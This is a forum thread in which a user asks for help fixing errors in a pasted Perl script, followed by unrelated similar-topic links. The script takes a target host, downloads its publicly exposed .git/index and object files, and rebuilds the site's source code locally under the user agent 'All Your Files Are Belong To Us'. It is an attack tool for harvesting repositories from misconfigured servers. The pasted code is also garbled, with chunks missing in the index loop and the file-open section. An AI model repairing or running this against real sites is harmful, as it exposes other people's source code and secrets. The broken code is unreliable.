there is a lot of errors in this perl. what causes and how can i fix them - #!/usr/bin/perl
-
-
use strict;
-
use File::Path qw(make_path);
-
use LWP::UserAgent;
-
use File::Temp qw(tempfile tempdir);
-
use Compress::Zlib qw(uncompress);
-
-
sub readtime
-
{
-
my ($handle, $hashref) = @_;
-
-
read $handle, my $rawtime, 8;
-
-
( $hashref->{'lsb32'},
-
$hashref->{'nsec'} ) = unpack "NN", $rawtime;
-
-
return $hashref;
-
}
-
-
sub readindex
-
{
-
my ($infile) = @_;
-
my $packindex;
-
-
# read the header
-
read $infile, my $rawheader, 12;
-
my $header = {};
-
($header->{'ident'}, $header->{'version'}, $header->{'entries'})
-
= unpack("a4NN", $rawheader);
-
-
die "Not a git index file" if ($header->{'ident'} ne "DIRC");
-
die "Unsupported version of git index" if ($header->{'version'} != 2);
-
-
my @index_entries = ();
-
-
for (my $i=0; $i{'entries'}; $i++)
-
{
-
my $statinfo = {};
-
my $entry = {};
-
my $rawdata;
-
my %ctime = ();
-
my %mtime = ();
-
-
$statinfo->{'ctime'}=readtime($infile, \%ctime);
-
$statinfo->{'mtime'}=readtime($infile, \%ctime);
-
-
# read the non-time fields
-
read $infile, $rawdata, 24;
-
( $statinfo->{'dev'}.
-
$statinfo->{'inode'}.
-
$statinfo->{'mode'}.
-
$statinfo->{'uid'}.
-
$statinfo->{'gid'}.
-
$statinfo->{'size'} ) = unpack "NNNNNN", $rawdata;
-
-
$entry->{'statinfo'}=$statinfo;
-
read $infile, $rawdata, 20;
-
( $entry->{'id'} ) = unpack "H*", $rawdata;
-
$packindex.=$rawdata;
-
read $infile, $rawdata, 2;
-
( $entry->{'flags'} ) = unpack "n", $rawdata;
-
-
# Finally read name - it's length is the lower 11 bits of flags
-
my $namelength=($entry->{'flags'} & 0x7ff)+1;
-
-
# Pad it up to a multiple of 4
-
read $infile, $rawdata, $namelength + (8 - (($namelength + 62) % 8)) %8;
-
($entry->{'name'}) = unpack "a" . ($namelength-1), $rawdata;
-
-
push(@index_entries, $entry);
-
}
-
return @index_entries;
-
}
-
-
# First grab the database file
-
my $target=$ARGV[0];
-
my $giturl="http://$ARGV[0]/.git/index";
-
my $ua=LWP::UserAgent->new;
-
print "Target is: $giturl\n";
-
$ua->agent("All Your Files Are Belong To Us/1.0");
-
my $request=HTTP::Request->new(GET => $giturl);
-
my $result=$ua->request($request);
-
-
if ($result->status_line !~ /^200/)
-
{
-
die "Could not find Git index file";
-
}
-
-
my ($dbfileh, $dbfilen) = tempfile();
-
print $dbfileh $result->content;
-
close $dbfileh;
-
-
open(my $infile, "{'id'},0,2);
-
my $resthash=substr($entry->{'id'},2);
-
-
my $file=".git/objects/" . $firsttwo . "/" . $resthash;
-
my $rawdata;
-
my $decompressed;
-
my $oh;
-
-
print "Extracting " . $entry->{'name'} . "\n";
-
-
my $giturl="http://$server/$file";
-
my $frequest=HTTP::Request->new(GET => $giturl);
-
my $fresult=$ua->request($frequest);
-
$rawdata=$fresult->content;
-
-
# Make sure the path is there for the output
-
my $outputpath="output/" . $entry->{'name'};
-
$outputpath =~ s#/[^/]*$##g;
-
-
make_path($outputpath);
-
open $oh, ">", "output/$entry->{'name'}";
-
-
# Now decompress the data
-
$decompressed=uncompress($rawdata);
-
my $gitfile={};
-
-
($gitfile->{'type'}) = substr($decompressed,0,5);
-
if ($gitfile->{'type'} ne "blob ")
-
{
-
print "Unknown git file type: $gitfile->{'type'}. Skipping\n";
-
next;
-
}
-
($gitfile->{'size'}) = unpack "Z*", substr($decompressed,5);
-
($gitfile->{'data'}) = substr($decompressed,length($gitfile->{'size'})+6);
-
-
# And write it
-
print $oh $gitfile->{'data'};
-
close($oh);
-
}
1 2949
i rewrote this code with my preferred language
Sign in to post your reply or Sign up for a free account.
Similar topics
by: xxx |
last post by:
Hello,
I get an error message:
Global symbol "%Config" requires explicit package name at
/usr/lib/perl5/5.8.3/i386-linux-thread-multi/Errno.pm line 11.
What does this mean?
|
by: Petterson Mikael |
last post by:
Hi,
I have the following package names ( in an xml) that I will transform to
html. I need to sort them.
<package name="se.company.product.subproduct.boam.fpx.testsignals">
<package...
|
by: r.nikhilk |
last post by:
Hi,
We are porting C++ applications from 32 bit to 64 bit on AIX platform.
(The current version of AIX is 5.3 and xlC verison is 8.0). We are able
to compile the applications by including the...
|
by: ygao |
last post by:
when a function or method is called,how can get the module global
symbol table from which
it is called,not the module where it is defined(this is easy).
thanks!
|
by: seberino |
last post by:
PyList_Append requires explicit Py_INCREF after?
(I didn't see in docs where it said if appends a new reference
or a borrowed reference like other APIs.)
thanks!
Chris
|
by: sdeathstar |
last post by:
I am working on IBM AIX machine and using XLC C++ complier version 8.0.
1) Able to compile the objects on AIX from C and C++ source code.
2) Able to create the libraries (combination of C & C++,...
|
by: rockdc1981 |
last post by:
I dont get it lately the code is working andnow i get the error message...the code below is on a list where i can select the reports from a table source and enables user to preview and export it..any...
|
by: Bennett Haselton |
last post by:
How do I find the mapping between a PHP package name like
HTTP_Request, and the "yum" command to install it on CentOS 4.4?
For example when I needed to use LWP::UserAgent to use in Perl, the...
|
by: Abhishek Mishra |
last post by:
Hello Everyone,
I have the habit of using domain names (of either the application or
company) in reverse in package names.
for e.g. com.spam.app1
I've recently started a project for an...
|
by: KBSethna |
last post by:
Linker Error:Undefined Symbol ATM_c::run() in module Project.cpp
Linker Error:Undefined Symbol ATM_c::ATM_c() in module Project.cpp
ATM_c is a class having a function run() and a constructor....
|
by: isladogs |
last post by:
The next Access Europe meeting will be on Wednesday 6 Mar 2024 starting at 18:00 UK time (6PM UTC) and finishing at about 19:15 (7.15PM).
In this month's session, we are pleased to welcome back...
|
by: isladogs |
last post by:
The next Access Europe meeting will be on Wednesday 6 Mar 2024 starting at 18:00 UK time (6PM UTC) and finishing at about 19:15 (7.15PM).
In this month's session, we are pleased to welcome back...
|
by: jfyes |
last post by:
As a hardware engineer, after seeing that CEIWEI recently released a new tool for Modbus RTU Over TCP/UDP filtering and monitoring, I actively went to its official website to take a look. It turned...
|
by: ArrayDB |
last post by:
The error message I've encountered is; ERROR:root:Error generating model response: exception: access violation writing 0x0000000000005140, which seems to be indicative of an access violation...
|
by: PapaRatzi |
last post by:
Hello,
I am teaching myself MS Access forms design and Visual Basic. I've created a table to capture a list of Top 30 singles and forms to capture new entries. The final step is a form (unbound)...
|
by: CloudSolutions |
last post by:
Introduction:
For many beginners and individual users, requiring a credit card and email registration may pose a barrier when starting to use cloud servers. However, some cloud server providers now...
|
by: Defcon1945 |
last post by:
I'm trying to learn Python using Pycharm but import shutil doesn't work
|
by: Shællîpôpï 09 |
last post by:
If u are using a keypad phone, how do u turn on JavaScript, to access features like WhatsApp, Facebook, Instagram....
|
by: Faith0G |
last post by:
I am starting a new it consulting business and it's been a while since I setup a new website. Is wordpress still the best web based software for hosting a 5 page website? The webpages will be...
| |